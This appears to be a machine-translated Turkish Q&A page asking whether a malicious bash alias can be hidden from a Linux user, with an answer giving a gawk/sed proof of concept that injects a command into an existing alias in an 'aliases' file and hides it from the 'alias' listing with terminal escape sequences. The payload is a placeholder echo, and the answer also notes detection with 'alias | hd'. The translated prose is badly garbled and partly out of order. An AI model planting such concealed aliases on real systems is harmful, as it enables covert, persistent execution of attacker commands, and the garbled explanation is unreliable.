Bash'de kötü niyetli bir takma adın varlığını bir Linux sisteminde gizlemek ve kullanıcı tarafından bilgisi olmadan çalıştırılmasını sağlamak mümkün müdür?
Bash'de kötü niyetli bir takma adın varlığını bir Linux sisteminde gizlemek ve kullanıcı tarafından bilgisi olmadan çalıştırılmasını sağlamak mümkün müdür?
Yanıtlar:
Bunu, varolan takma adı kötü amaçlı olana ekleyerek ve alias
komut takma ad tanımlarını görüntülemek için kullanılıyorsa gizlemek için imleç hareketini kullanarak yapmak mümkündür . Mükemmel bir kusursuz yöntem değildir, ancak bir süre fark edilmeyebilir. Geçiş alias
yapmak hd
, takma adlarınızda herhangi bir kaçış dizisi (imleç hareketi) olup olmadığını gösterecektir. Kötü amaçlı bir komutun takma ada nasıl eklenebileceğine dair bir kavram kanıtı:
alias | gawk 'BEGIN {
FS = "[ =\047]"
db = "\\"; sp = db " "; amp = db "&"
sq= "\047"; bell = "\007"; esc = "\033"
}
NR == 3 { len1 = length($2) }
NR == 4 {
alias = $2
orig = gensub(sq, "", "g", substr($0, match($0, "=") + 1))
orig = gensub(" ", db sp, "g", orig)
}
END {
hide = "$" db sq sp "--" sp db "\r" esc "[J" esc "[A" db "\t"
for(i=1; i<len1; i++) {hide = hide esc "[C"}
cmd = "sed -i s/^alias" sp alias ".*/alias" sp alias "=" db sq "echo" sp db bell db db amp db db amp orig db sq hide db sq "/ aliases"
system(cmd)
}'
sed
Komut değiştirir yerinde "takma adlar" adlı bir dosya - Bu tip gerçek senaryo boğazına ve kötü niyetli takma yürütüldüğünde sefere aktif hale bu yüzden gerçek bir komut dosyası değiştirir.hide
bağımsız değişken olarak içeriğiyle yürütülür, böylece bu soruda bildirilene benzer bir hata alabilirsiniz . Takma adı verilen argümanlara müdahale etmesine rağmen, orijinal ve kötü niyetli bölümleri tersine çevirmek mümkün olabilir. Yukarıdaki komut dosyasında argümanların sonunu işaretlemek için bir girişimde bulunuldu --
.&&
bir sonrakine geçebilir ve kötü amaçlı komut dosyasını (yukarıda basit echo
komutla temsil edilir ) , verileri ilerlerken değiştirmek veya gizlemek stdin
için stdout
geçiş işlevi olarak yapabilirsiniz . diğer yönlendirmelere müdahale etmeyerek daha fazla varoluşhide
Böylece dize farklı imleç hareketi ve orijinal takma metnini eklemek için değiştirilmiş olabilir alias
komut kötü niyetli kesimiyle birlikte saklamak yerine değiştirilmemiş takma göstermek için görünür.. aliases
. Ardından, etkilenen diğer adı kullanmayı deneyebilir ve bunu yaptığınızda neye benzediğini görebilirsiniz alias|hd
.